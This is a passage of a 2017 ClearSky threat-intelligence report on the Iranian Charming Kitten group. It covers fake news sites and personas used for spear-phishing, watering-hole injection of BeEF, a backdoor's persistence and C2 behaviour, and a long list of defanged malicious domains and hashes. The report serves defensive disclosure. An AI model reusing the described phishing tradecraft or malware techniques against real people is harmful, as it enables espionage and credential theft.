+With Fake News And Femmes Fatales, Iran's Spies Learn To Love
+Facebook
+ forbes.com/sites/thomasbrewster/2017/07/27/iran-hackers-oilrig-use-fake-personas-on-facebook-linkedin-for19
+cyberespionage
+Page 16 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Below is a screenshot from the 
+about
+ page of the fake news agency website, detailing its objectives and
+giving the email addresses of various 
+employees
+Page 17 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Note the use of present perfect instead of past simple in "has been established" (instead of "was
+established"), present progressive (we are covering) instead of present simple (we cover) to mark a habitual
+aspect, and "began this work" 
+ all suggesting a Persian-thinking writer.
+This fake news-agency and accompanying social media accounts are not used to disseminate propaganda or
+false information. Their content was automatically copied from legitimate sources. The purpose of this news
+agency is to create legitimacy, with the end goal of reaching out to their targets and infecting them while
+visiting the infected website.
+The website contains BeEF (Browser Exploitation Framework 
+ a penetration testing tool that focuses on web
+browsers), however it seems that the payload is sent only when the victim visits the site from IPs in a whitelist
+managed by the attackers. This might indicate they are after specific targets or organizations rather than
+widespread infection.
+The screenshot below shows w3school.hopto[.]org, which served BeEF, called when britishnews.com[.]co is
+loading:
+Page 18 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Page 19 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+At the bottom of the site are links to social media accounts created by the attackers:
+Below are screenshots of the accounts.
+Instagram, Instagram[.]com/britishnewslive with over 13,000 followers (unavailable for several months):
+Page 20 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Twitter, https://twitter[.]com/britishnewslive (online at time of writing):
+Facebook page - facebook[.]com/officialbritishnewslive (unavailable for several months):
+Page 21 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+LinkedIn company page, linkedin[.]com/company/britishnews (unavailable for several months):
+The attackers also created a fake LinkedIn profile, Isabella Carey, that 
+worked
+ at the fake news company:
+linkedin[.]com/in/isabella-carey-98a42a129 (unavailable for several months):
+Page 22 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+An email address with the same name, isabella.careyy@gmail.com, was used to register 12 malicious
+domains by Charming Kitten, as can be seen in PassiveTotal21:
+https://community.riskiq.com/search/whois/email/isabella.careyy@gmail.com
+Page 23 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Made up studens and jurnalists
+Multiple Israeli Iranist and middle east researchers were sent emails and Twitter direct messages by made up
+entities. These entities are reviewed below.
+Zehavit Yehuda
+One of the fake entities is 
+KNBC News journalist Zehavit Yehuda
+, who sent the following phishing email:
+The email links to a website, https://sites.google[.]com/view/docs-downloads, which was built with Google
+Sites:
+Page 24 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+The Download button is a redirection link:
+http://www.google[.]com/url?q=http%3A%2F%2Fdownload-google.comorginallinks.ga%2Fdownload%2Ffile%2Fusr%<redacted>&sa=D&sntz=1&usg=<redacted>
+Which leads to a fake log-in page in a domain registered by the attackers:
+http://download-google.com-orginal-links[.]ga/download/file/usr/<redacted>
+Yafa Hyat
+Fake entity "Yafa Hyat" (@yafa1985hyat, online at time of writing) has contacted an
+Israeli Iranist via a direct message on twitter, pretending to be a political researcher who
+needs help with an article:
+Page 25 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+The researcher was asked to read the article in her "google account", which was also a phishing page in Google
+sites: https://sites.google[.]com/site/yaffadocuments/ :
+Page 26 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+The site automatically redirects to a phishing website hosted in a domain registered by the attackers, downloadgoogle.orginal-links[.]com:
+"Yafa" also sent an email from yaffa.hyatt9617@gmail.com to a university professor, asking to work at the
+university center she is heading. The email itself did not contain malicious content, and was likely sent to build
+trust prior to sending a phishing link or malware:
+Page 27 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Bahar Azadeh
+Fake entity "Bahar Azadeh" (bahra.azadeh88@gmail.com and @baharazadeh122, online at time of writing)
+sent emails with different background stories to multiple researchers. In two cases, she was a "Jewish girl
+who has an Iranian origin and who has studied in the field of political science":
+https://twitter.com/baharazadeh1
+Page 28 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Yet in a third case she claimed to be Baha'i living in Tehran:
+Translation:
+Hello,
+Mr. Dr., I am a Bahai living in Tehran, if you can call it a life. As you know, the present situation in Iran for
+us Bahais is not good at all, so that we are even deprived of our natural right, that is, higher education, as
+if we Bahais are not human and have no right to live.
+<redacted>, I have been accepted to universities all across Iran, and after two years of studying in a
+university, they realized from certain sources that I was Bahai, and expelled me. I did not sit idle and began
+to constantly protest, I've been summoned [to court] quite a few times for this thing, and I already feel
+Iran has become a hell for me, and as much as I try I can't find salvation from this hell.
+One of the reasons I've asked you for help and guidance was reading your book (<redacted>), and your
+research in this field has been really valuable and helpful, which made this book so beautiful.
+"I have a few questions for you, please answer me".
+The entities
+ email address is connected to a fake Facebook entity called Emilia Karter
+(online at time of writing):
+Page 29 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Impersonating real companies
+United Technologies impersonation
+The attackers created a website impersonating UTC (United Technologies), 
+an American multinational
+conglomerate which researches, develops and manufactures products in numerous areas, including aircraft
+engines, [and] aerospace systems [
+]. UTC is a large military contractor, getting about 10% of its revenue
+from the U.S. government
+23. The fake website was first reported by Iran Threats researchers on 6 February
+201724. We do not have evidence that UTC was targeted or impacted.
+The fake website, which was built in January 2017, claimed to offer 
+Free Special Programs And Courses For
+Employees Of Aerospace Companies like Lockheed Martin, SNCORP, 
+. It was a decoy to make visitor
+download a 
+Flash Player
+, which was in fact DownPaper malware, analyzed later in this report.
+https://en.wikipedia.org/wiki/United_Technologies
+https://iranthreats.github.io/resources/macdownloader-macos-malware/
+Page 30 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+The malware was served from the following location:
+http://login.radio-m[.]cf/utc/dnld.exe
+It was contained in a cabinet self-extractor that impersonates a legitimate Windows software:
+dnld.exe
+be207941ce8a5e212be8dde83d05d38d
+3b4926014b9cc028d5fb9d47fee3dbd9376525dcb3b6e2173c5edb22494cfa9b
+Page 31 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Watering holes
+The attackers breached the following websites pertaining to Iranian and Jewish cultural affairs:
+Breached website
+Description
+hamijoo[.]com
+An Iranian crowdfunding platform
+www.jewishjournal[.]com
+A Jewish news site
+www.estherk[.]com
+A personal blog of one of JewishJournal's writers
+www.boloogh[.]com
+A sex education website for Iranian youth
+levazand[.]com
+A personal blog of an Iranian living in United sates
+A script tag that loads BeEF JavaScript from w3school.hopto[.]org or from bootstrap.serveftp[.]com was
+added, as can be seen in the images below:
+Page 32 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Page 33 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Spear Phishing for credential stealing
+The attackers sent hundreds, maybe thousands, of spear phishing emails to hundreds of targets. In this section,
+we will present samples of spear phishing emails25.
+Wave 1
+The attackers breached the Gmail account of Alon Gur Arye, an Israeli film producer. Alon produced a satire
+film about the Israeli Mossad, which potentially confused the attackers to thinking he is associated with the
+Israeli Mossad. The breached account was used to send a phishing email to Thamar Eilam Gindin (who is
+targeted by the group since 201526). Below is a screenshot of the phishing email:
+The email contained a shortened bit.ly link to a domain registered by the attackers - drivers.documentsupportsharing[.]bid. In the statistics and usage page of the bit.ly URL we can see that the first click, likely a
+test run performed by the attackers before sending the phish, was from Iran.
+Names of victims and targets are shared with their permission.
+See , Thamar Reservoir: http://www.clearskysec.com/thamar-reservoir/
+Page 34 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+The phishing page pretends to be a Gmail shared document downed page that requires the visitor to log in:
+Page 35 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Wave 2
+Sometimes the phishing email does not contain live text, but only an image of text linked to a phishing page.
+This is usually done to bypass text based spam filters.
+The attackers used WebRTC (code copied from Github27) to detect the real IP address of targets who use
+proxies (This method was documented by Iran Threats28):
+While sending the spear phishing, the attackers preformed password recovery on the target
+s Facebook
+account, as can be seen below. Thus, she received fake emails and legitimate ones at the same time which
+could cause her confusion and subsequently to give her credentials in the phishing.
+https://github.com/diafygi/webrtc-ips/blob/master/README.md
+https://iranthreats.github.io/resources/webrtc-deanonymization/
+Page 36 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Wave 3
+The attackers often open a new Gmail account and send phishing emails from it. For example,
+suspended.user.noitification@gmail.com was used to send the following email to targets:
+Which leads to:
+Page 37 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+In other cases, 7 different targeted phishing emails were sent to the same victim on the same day from
+customers.mailservice@gmail.com:
+Page 38 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Page 39 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+The phishing messages were sent to hundreds of recipients from a previously unknown email address:
+mails.customerservices@gmail.com
+They contained a link to goo-gle[.]mobi
+Below are screen captures of two of the messages. The content is not copied directly from Googles original
+notices, as evident from the spelling and grammatical errors, some of them typical of Persian speakers, e.g.
+using direct speech where English would use indirect speech ("that" instead of "whether"):
+Page 40 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Hamed Hashemi, an Iranian Independent researcher and photographer living in the Netherlands was targeted
+in this campaign. He detected the malicious emails and wrote about them in his twitter account29 30:
+Translation: "The brothers'31 new method for hacking e-mails. Do not be fooled by such an email".
+https://twitter.com/hamed_hashemi/status/869835075550162944
+https://twitter.com/hamed_hashemi/status/869865703939219456
+I.e. people working for the IRI.
+Page 41 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Translation: "Ramez
+n (The month of Ramadan) operation continues."
+Other reported receiving 6 spear phishing emails within a few minutes. For example, Soudeh Rad32 board
+member at ILGAEurope33 (an organization for human rights and equality for lesbian, gay, bisexual, trans and
+intersex people at European level):
+Translation: "What's the most important thing to do when you're under a phishing attack? Keep your calm
+ 6 e-mails arrived within 10 minutes (saying) someone signed into your email (account), confirm your
+account."
+https://twitter.com/soudehrad/status/876062478685396992
+https://twitter.com/ILGAEurope
+Page 42 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Behrang Tajdin34 a BBC Persian TV Reporter said35 36 he was targeted in a similar campaign in April 2017:
+Translation: "If you get an email like this, don't fall for it and don't click. It's nothing but a useless phishing
+attempt to hack your google and Gmail account."
+https://twitter.com/Behrang
+https://twitter.com/Behrang/status/855761991117484032
+Page 43 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Translation: 
+And if you click on the link but don't type your password, they send you another email. Don't fall
+for "if you wait you regret" 
+Page 44 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Email tracking services
+The attackers often use mailtrack.io to track when phishing emails are opened. These services are often used
+by marketing people to monitor their campaign effectiveness. Below is the source code of a spear phishing
+email with a mailtrack.io tracking link:
+Sometimes the attackers used a similar email tracking service, by Pointofmail. In this case, the malicious
+email was sent from Pointofmail
+s servers (this is part of their service, not due to a breach). The email
+contained a redirect link to legitimate address advmailservice.com:
+Which redirects several times, eventually reaching the malicious page:
+Page 45 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Targeted emails with malware
+Email address customers.mailservice@gmail.com was mostly used for spear phishing. Occasionally, it was
+used to deliver links to malware. For example, the email below linked to http://tinyurl[.]com/hjtaeak which
+redirected to http://login.radio-m[.[cf/i/10-unique-chocolates-in-the-world.zip. The final URL contained the
+same sample of DownPaper that was hosted in the fake UTC website mentioned above
+(be207941ce8a5e212be8dde83d05d38d).
+Note, that the person who 
+shared
+ the file with the target in the malicious email was indeed a Facebook
+friend of the target (the target shared a link by her a few hours prior to receiving this message), and the
+subject of chocolate was trending on the target's feed at the time. The attackers spied on the target
+(potentially by following her on various social networks), and crafted an email she would be likely to receive.
+Page 46 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+DownPaper Malware
+DownPaper, sometimes delivered as sami.exe, is a Backdoor trojan. Its main functionality is to download
+and run a second stage.
+The sample used in our analysis (3261d45051542ab3e54fa541f132f899) was contained in a Cabinet selfextractor (be207941ce8a5e212be8dde83d05d38d), served from the following URL:
+http://login.radio-m[.]cf/utc/dnld.exe
+The process tree below shows dnld.exe drops sami.exe (DownPaper), which in turn runs Powershell to gain
+persistency:
+DownPaper performs the following steps:
+1. Loads from a resource file a URL of a command and control server. In the sample we
+analyzed, the URL was 
+http://46.17.97[.]37/downloader/poster.php
+, Base64 encoded as
+can be seen below:
+2. Searches and reads the value of Window Update registry key in the following path:
+HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
+a. If the value is Null, a new mutex is created, called Global\UpdateCenter, and a mutex
+synchronization function is executed.
+b. If the value is different than the name of the running file, section 2.a. is executed and a
+function called SetStartUp is called via PowerShell to create a registry key named
+Window Update with the following value:
+Page 47 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+$scriptRoot\AppData\Local\Microsoft\Windows\wuauclt.exe
+3. Sends an HTTP POST request to get the location of a second stage from the command and control
+server. The requests contain the following fields:
+a. Infected computer host name
+b. Username
+c. Serial Number 
+ Retrieved via the following query: SELECT * FROM Win32_BaseBoard
+4. When a file is received, runs it in a new thread.
+5. Pause for ten seconds, then repeat step 3.
+Locations
+C:\Users\user1\AppData\Local\Temp\IXP000.TMP\sami.exe
+C:\Users\user1\AppData\Local\Microsoft\Windows\wuauclt.exe
+Assembly Details:
+PDB path:
+d:\Task\D\Task\FUD\DownPaper\trunk\Downloader\obj\Debug\wuauclt.pdb
+Page 48 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Additional samples
+wuauclt.exe
+d6ea39e1d4aaa8c977a835e72d0975e3
+msoffice-update[.]com
+93.158.215.50
+http://msoffice-update[.]com/gallery/help.php
+C:\Users\user1\AppData\Local\Temp\IXP000.TMP\sami.exe
+key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Window Update
+data: C:\Users\user1\AppData\Local\Microsoft\Windows\wuauclt.exe
+10 unique chocolates in the world.exe
+be207941ce8a5e212be8dde83d05d38d
+3b4926014b9cc028d5fb9d47fee3dbd9376525dcb3b6e2173c5edb22494cfa9b
+sami.exe
+3261d45051542ab3e54fa541f132f899
+479e1e02d379ad6c3c7f496d705448fa955b50a1
+C:\Users\user1\AppData\Local\Temp\IXP000.TMP\sami.exe
+C:\Users\user1\AppData\Local\Microsoft\Windows\wuauclt.exe
+20f2da7b0c482ab6a78e9bd65a1a3a92
+http://msoffice-update[.]com/gallery/help.php
+d:\Task\D\Task\FUD\DownPaper\trunk\Downloader\obj\Debug\wuauclt.pdb
+ax haye ayin.exe
+276befa70cff36860cd97e3e19f10343
+753b73b82ec8307f54cfb80091600fb283476aa6df7102d6af82048ef4a5913f
+5.79.69[.]206:4455
+pita.exe
+60753796905458fa6a4407f48309aa25
+53f7b95262971d79e676055d239180d653fd838dc6ffb9a3418ccad2b66c54bc
+C:\Users\user1\AppData\Local\Temp\IXP000.TMP\pita.exe
+aziii.exe
+3c01793380fbd3f101603af68e96f058
+13ac10cd2595fb8fefd4e15c1b82bd2c8e1953809f0d1c349641997aeb9f935c
+Azita Gallery.exe
+30124b5c56cecf2045abd24011bdf06b
+9aa7fc0835e75cbf7aadde824c484d7dc53fdc308a706c9645878bbd6f5d3ad8
+Page 49 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+MAGICHOUND.RETRIEVER
+By pivoting off the malicious infrastructure we found a sample of MAGICHOUND.RETRIEVER, a malware
+which is covered in a report by Palo Alto Networks about a group they call Magic Hound37. The report says
+that Magic Hound 
+has primarily targeted organizations in the energy, government, and technology sectors
+that are either based or have business interests in Saudi Arabia
+. Also, 
+Link analysis of infrastructure and
+tools [
+] revealed a potential relationship between Magic Hound and the adversary group called 
+Rocket
+Kitten
+. The last notion is in line with our findings.
+MAGICHOUND.RETRIEVER is a .NET downloader that retrieves secondary payloads using an embedded URL
+in its configuration as the C2. Below is the sample that we found.
+flashplayer.exe
+9d0e761f3803889dc83c180901dc7b22
+ecf9b7283fda023fa37ad7fdb15be4eadded4e06
+d4375a22c0f3fb36ab788c0a9d6e0479bd19f48349f6e192b10d83047a74c9d7
+http://update-microsoft[.]bid/img/WebService.asmx
+http://update-driversonline[.]bid/img/WebService.asmx
+The connections between the sample and Charming Kitten
+s infrastructure is depicted in the graph below:
+https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/
+Page 50 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Appendix A - Indicators of Compromise
+012mail-net-uwclogin[.]ml
+443[.]tcp[.]shorturlbot[.]club
+874511478[.]account-login[.]net
+8ghefkwdvbfdsg3asdf1[.]com
+account-customerservice[.]com
+account-dropbox[.]net
+account-google[.]co
+account-login[.]net
+account-logins[.]com
+account-log-user-verify-mail[.]com
+account-permission-mail-user[.]com
+accounts[.]account-google[.]co
+accounts[.]activities[.]devices[.]com[.]accounts[.]a
+ctivities[.]devices[.]com[.]usersettings[.]cf
+accounts[.]activities[.]devices[.]com[.]accounts[.]g
+oogle[.]com[.]usersettings[.]cf
+accounts[.]activities[.]devices[.]com[.]drive[.]goog
+le[.]com[.]usersettings[.]cf
+accounts[.]activities[.]devices[.]com[.]usersettings
+[.]cf
+accounts[.]google[.]com[.]accounts[.]activities[.]d
+evices[.]com[.]usersettings[.]cf
+accounts[.]google[.]com[.]accounts[.]google[.]com
+[.]usersettings[.]cf
+accounts[.]google[.]com[.]drive[.]google[.]com[.]u
+sersettings[.]cf
+accounts[.]google[.]com[.]usersettings[.]cf
+accountservice[.]support
+account-servicerecovery[.]com
+accounts-googelmail[.]com
+accounts-googelmails[.]com
+account-signin-myaccount-users[.]ga
+accounts-logins[.]net
+accountsrecovery[.]ddns[.]net
+accounts-service[.]support
+accountsservice-support[.]com
+account-support-user[.]com
+accounts-yahoo[.]us
+accountts-google[.]com
+account-user[.]com
+account-user-permission-account[.]com
+account-users-mail[.]com
+account-user-verify-mail[.]com
+acounts-qooqie-con[.]ml
+addons-mozilla[.]download
+ae[.]ae[.]asus-support[.]net
+ae[.]asus-support[.]net
+ae[.]bocaiwang[.]asus-support[.]net
+ae[.]client[.]asus-support[.]net
+aipak[.]org
+aiqac[.]org
+aol-mail-account[.]com
+apache-utility[.]com
+api[.]com-service[.]net
+app-documents[.]com
+app-facebook[.]co
+appleid[.]apple[.]com[.]account-logins[.]com
+araamco[.]com
+araamco[.]com
+archive-center[.]com
+asus-support[.]net
+asus-update[.]com
+berozkhodro[.]com
+blog[.]group-google[.]com
+bocaiwang[.]ae[.]asus-support[.]net
+bocaiwang[.]asus-support[.]net
+bocaiwang[.]bocaiwang[.]asus-support[.]net
+bocaiwang[.]client[.]asus-support[.]net
+book-archivecenter[.]bid
+books-archivecenter[.]bid
+books-archivecenter[.]club
+books-google[.]accountservice[.]support
+books-google[.]books-archivecenter[.]bid
+books-google[.]www[.]books-archivecenter[.]bid
+books-view[.]com
+bootstrap[.]serveftp[.]com
+britishnews[.]com[.]co
+britishnews[.]org
+broadcastbritishnews[.]com
+brookings-edu[.]in
+change-mail-accounting-register-single[.]com
+change-mail-account-nodes-permision[.]com
+change-permission-mail-user-managment[.]com
+change-user-account-mail-permission[.]com
+client[.]ae[.]asus-support[.]net
+client[.]asus-support[.]net
+client[.]bocaiwang[.]asus-support[.]net
+client[.]client[.]asus-support[.]net
+codeconfirm-recovery[.]bid
+codeconfirm-recovery[.]club
+com-account-login[.]com
+com-accountrecovery[.]bid
+com-accountsecure-recovery[.]name
+com-accountsrecovery[.]name
+com-archivecenter[.]work
+com-customeradduser[.]bid
+com-customerservice[.]bid
+com-customerservice[.]name
+com-customerservices[.]name
+com-customersuperuser[.]bid
+Page 51 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+com-download[.]ml
+com-manage-accountuser[.]club
+com-messagecenter[.]bid
+com-messengerservice[.]bid
+com-messengerservice[.]work
+com-microsoftonline[.]club
+com-mychannel[.]bid
+com-orginal-links[.]ga
+com-recoversessions[.]bid
+com-recovery[.]com
+com-recoveryadduser[.]bid
+com-recoveryidentifier[.]bid
+com-recoveryidentifier[.]name
+com-recoveryidentifiers[.]bid
+com-recoverymail[.]bid
+com-recoverysecureuser[.]club
+com-recoverysecureusers[.]club
+com-recoveryservice[.]bid
+com-recoveryservice[.]info
+com-recoverysessions[.]bid
+com-recoverysubusers[.]bid
+com-recoverysuperuser[.]bid
+com-recoverysuperuser[.]club
+com-recoverysuperuser[.]name
+com-recoverysuperusers[.]bid
+com-recoverysupport[.]bid
+com-recoverysupport[.]club
+com-service[.]net
+com-servicecustomer[.]bid
+com-servicecustomer[.]name
+com-servicemail[.]bid
+com-servicerecovery[.]bid
+com-servicerecovery[.]club
+com-servicerecovery[.]info
+com-servicerecovery[.]name
+com-servicescustomer[.]name
+com-serviceslogin[.]com
+com-showvideo[.]gq
+com-statistics[.]com
+com-stats[.]com
+com-video[.]net
+com-videoservice[.]work
+com-viewchannel[.]club
+confirm-code[.]account-support-user[.]com
+crcperss[.]com
+cvcreate[.]org
+digitalqlobe[.]com
+display-error-runtime[.]com
+display-ganavaro-abrashimchi[.]com
+docs-google[.]co
+documents[.]sytes[.]net
+documents-supportsharing[.]bid
+documents-supportsharing[.]club
+document-supportsharing[.]bid
+doc-viewer[.]com
+download[.]account-login[.]net
+download-google[.]com-orginal-links[.]ga
+download-google[.]orginal-links[.]com
+download-link[.]top
+drive[.]change-mail-account-nodespermision[.]com
+drive[.]google[.]com[.]accounts[.]activities[.]devic
+es[.]com[.]usersettings[.]cf
+drive[.]google[.]com[.]accounts[.]google[.]com[.]u
+sersettings[.]cf
+drive[.]google[.]com[.]drive[.]google[.]com[.]users
+ettings[.]cf
+drive[.]google[.]com[.]usersettings[.]cf
+drive[.]privacy-yahoomail[.]com
+drive-download[.]account-support-user[.]com
+drive-download[.]account-user-permissionaccount[.]com
+drive-file[.]account-support-user[.]com
+drive-google[.]co
+drive-login[.]cf
+drive-mail[.]account-support-user[.]com
+drive-permission-user-account[.]com
+drivers[.]document-supportsharing[.]bid
+drives-google[.]co
+drives-google[.]com
+drives-google[.]com[.]co
+drive-useraccount-signin-mail[.]ga
+dropbox[.]com-servicecustomer[.]name
+dropbox[.]com-servicescustomer[.]name
+drop-box[.]vip
+dropebox[.]co
+embraer[.]co
+emiartas[.]com
+error-exchange[.]com
+eursaia[.]org
+facebook[.]com-service[.]gq
+facebook[.]notification-accountrecovery[.]com
+fanderfart22[.]xyz
+fardenfart2017[.]xyz
+fb[.]com-download[.]ml
+fb-login[.]cf
+ftp[.]account-logins[.]com
+ftp[.]account-permission-mail-user[.]com
+ftp[.]accountservice[.]support
+ftp[.]accountsservice-support[.]com
+ftp[.]archive-center[.]com
+ftp[.]britishnews[.]com[.]co
+ftp[.]com-recoveryservice[.]info
+ftp[.]com-service[.]net
+ftp[.]goo-gle[.]cloud
+ftp[.]goo-gle[.]mobi
+Page 52 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+ftp[.]microsoft-upgrade[.]mobi
+ftp[.]news-onlines[.]info
+ftp[.]officialswebsites[.]info
+ftp[.]orginal-links[.]com
+ftp[.]screen-royall-in-corporate[.]com
+ftp[.]screen-shotuser-trash-green[.]com
+ftp[.]sdfsd[.]screen-royall-in-corporate[.]com
+ftp[.]service-broadcast[.]com
+ftp[.]service-recoveryaccount[.]com
+ftp[.]set-ymail-user-account-permissionchallenge[.]com
+ftp[.]support-aasaam[.]com
+ftp[.]support-recoverycustomers[.]com
+ftp[.]uk-service[.]org
+ftp[.]verify-account[.]services
+ftp[.]w3schools-html[.]com
+ftp[.]www[.]britishnews[.]com[.]co
+ftp[.]www[.]screen-shotuser-trash-green[.]com
+gle-mail[.]com
+gmail[.]com-recoverymail[.]bid
+gmail[.]com-u6[.]userlogin[.]securitylogin[.]activity[.]com-verification-accounts[.]com
+gmail-recovery[.]ml
+gmal[.]cf
+goog-le[.]bid
+goo-gle[.]bid
+goo-gle[.]cloud
+google[.]mail[.]com-servicecustomer[.]bid
+google[.]mail[.]mail[.]google[.]comservicecustomer[.]bid
+google[.]mail[.]www[.]com-servicecustomer[.]bid
+goo-gle[.]mobi
+google-drive[.]account-servicerecovery[.]com
+google-drive[.]accounts-service[.]support
+google-drive[.]account-support-user[.]com
+google-drive[.]com[.]accountservice[.]support
+google-drive[.]service-recoveryaccount[.]com
+google-hangout[.]accountservice[.]support
+google-hangout[.]accounts-service[.]support
+google-hangout[.]account-support-user[.]com
+google-hangout[.]verify-account[.]services
+google-mail[.]com[.]co
+googlemail[.]com-customersuperuser[.]bid
+google-mail-recovery[.]com
+googlemails[.]co
+google-profile[.]com
+google-profiles[.]com
+google-setting[.]com
+google-verification[.]com
+google-verify[.]com
+google-verify[.]net
+hangout[.]com-messagecenter[.]bid
+hangout[.]messageservice[.]club
+help-recovery[.]com
+hot-mail[.]ml
+hqr-mail[.]nioc-intl[.]account-user-permissionaccount[.]com
+id-bayan[.]com
+iforget-memail-user-account[.]com
+iranianuknews[.]com
+ir-owa-accountservice[.]bid
+itunes-id-account[.]users-login[.]com
+k2intelliqence[.]com
+k2intelliqence[.]com
+komputertipstrik[.]com-customeradduser[.]bid
+line-en[.]me
+log[.]account[.]accountservice[.]support
+login[.]com-service[.]net
+login[.]radio-m[.]cf
+login-account[.]net
+login-account-google[.]orginal-links[.]com
+login-account-mail[.]com
+login-again[.]ml
+login-mail[.]account-servicerecovery[.]com
+login-mail[.]verify-account[.]services
+login-mails[.]account-servicerecovery[.]com
+login-mails[.]accounts-service[.]support
+login-mails[.]account-support-user[.]com
+login-mails[.]verify-account[.]services
+login-required[.]ga
+login-required[.]ml
+login-required[.]tk
+logins-mails[.]account-customerservice[.]com
+logins-mails[.]account-servicerecovery[.]com
+logins-mails[.]accounts-service[.]support
+logins-mails[.]accountsservice-support[.]com
+logins-mails[.]com-servicecustomer[.]name
+logins-mails[.]service-recoveryaccount[.]com
+login-webmail[.]accounts-service[.]support
+login-webmail[.]account-support-user[.]com
+login-webmail[.]verify-account[.]services
+logn-micrsftonine-con[.]ml
+m[.]com-service[.]net
+mail[.]account-google[.]co
+mail[.]com-service[.]net
+mail[.]google[.]com-customerservice[.]name
+mail[.]google[.]com-customerservices[.]name
+mail[.]google[.]com-recoveryservice[.]info
+mail[.]google[.]com-servicecustomer[.]bid
+mail[.]google[.]com-servicescustomer[.]name
+mail[.]google[.]mail[.]google[.]comservicecustomer[.]bid
+mail[.]google[.]www[.]com-servicecustomer[.]bid
+mail[.]google[.]www[.]dropbox[.]comservicescustomer[.]name
+mail[.]group-google[.]com
+Page 53 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+mail[.]mehrnews[.]info
+mail[.]orginal-links[.]com
+mail[.]yahoo[.]com-servicecustomer[.]name
+mail[.]youtube-com[.]watch
+mail3[.]google[.]com-servicecustomer[.]name
+mail-account-register-recovery[.]com
+mailgate[.]youtube-com[.]watch
+mailgoogle[.]com-recoveryidentifier[.]bid
+mailgoogle[.]com-recoverymail[.]bid
+mailgoogle[.]com-recoveryservice[.]bid
+mailgoogle[.]com-recoverysuperuser[.]bid
+mailgoogle[.]com-recoverysupport[.]bid
+mail-google[.]com-servicecustomer[.]name
+mailgoogle[.]com-servicerecovery[.]bid
+mail-inbox[.]account-support-user[.]com
+mail-login[.]account-login[.]net
+mail-login[.]accountservice[.]support
+mail-login[.]account-servicerecovery[.]com
+mail-login[.]service-recoveryaccount[.]com
+mail-login[.]verify-account[.]services
+mail-macroadvisorypartners[.]ml
+mails[.]com-servicerecovery[.]name
+mails-account-signin-users-permssion[.]com
+mailscustomer[.]recovery-emailcustomer[.]com
+mailssender[.]bid
+mail-user-permission-sharedaccount[.]com
+mail-usr[.]account-support-user[.]com
+mail-verify[.]account-support-user[.]com
+mail-yahoo[.]com[.]co
+market-account-login[.]net
+me[.]youtube[.]com-mychannel[.]bid
+mehrnews[.]info
+messageservice[.]bid
+messageservice[.]club
+mfacebook[.]login-required[.]ga
+microsoft-hotfix[.]com
+microsoft-update[.]bid
+microsoft-upgrade[.]mobi
+microsoft-utility[.]com
+msoffice-update[.]com
+mx1[.]group-google[.]com
+my[.]youtube[.]com-mychannel[.]bid
+myaccount-login[.]net
+mychannel[.]ddns[.]net
+mychannel[.]ddns[.]net
+mydrives[.]documents-supportsharing[.]bid
+myemails[.]com-recoverysuperuser[.]name
+my-healthequity[.]com
+mymail[.]com-recoveryidentifiers[.]bid
+mymail[.]com-recoverysuperuser[.]name
+my-mailcoil[.]ml
+mymails[.]com-recoverysuperuser[.]bid
+mymails[.]com-recoverysuperuser[.]name
+myscreenname[.]bid
+news-onlines[.]info
+nex1music[.]ml
+notification-accountrecovery[.]com
+ns1[.]check-yahoo[.]com
+ns1[.]com-service[.]net
+ns2[.]check-yahoo[.]com
+nvidia-support[.]com
+nvidia-update[.]com
+officialswebsites[.]info
+official-uploads[.]com
+ogin-mails[.]accounts-service[.]support
+onedrive-signin[.]com
+onlinedocument[.]bid
+onlinedocuments[.]org
+onlinedrie-account-permission-verify[.]com
+onlineserver[.]myftp[.]biz
+online-supportaccount[.]com
+orginal-links[.]com
+outlook-livecom[.]bid
+owa-insss-org-ill-owa-authen[.]ml
+paypal[.]com[.]webapp[.]logins-mails[.]servicerecoveryaccount[.]com
+paypal[.]com[.]webapp[.]paypal[.]com[.]webapp[.
+]service-recoveryaccount[.]com
+paypal[.]com[.]webapp[.]servicerecoveryaccount[.]com
+picofile[.]xyz
+policy-facebook[.]com
+pop[.]group-google[.]com
+privacy-facebook[.]com
+privacy-gmail[.]com
+privacy-yahoomail[.]com
+profile[.]facebook[.]accountservice[.]support
+profile[.]facebook[.]notificationaccountrecovery[.]com
+profile-facebook[.]co
+profiles-facebook[.]com
+profile-verification[.]com
+qet-adobe[.]com
+radio-m[.]cf
+raykiel[.]net
+recoverycodeconfirm[.]bid
+recovery-customerservice[.]com
+recovery-emailcustomer[.]com
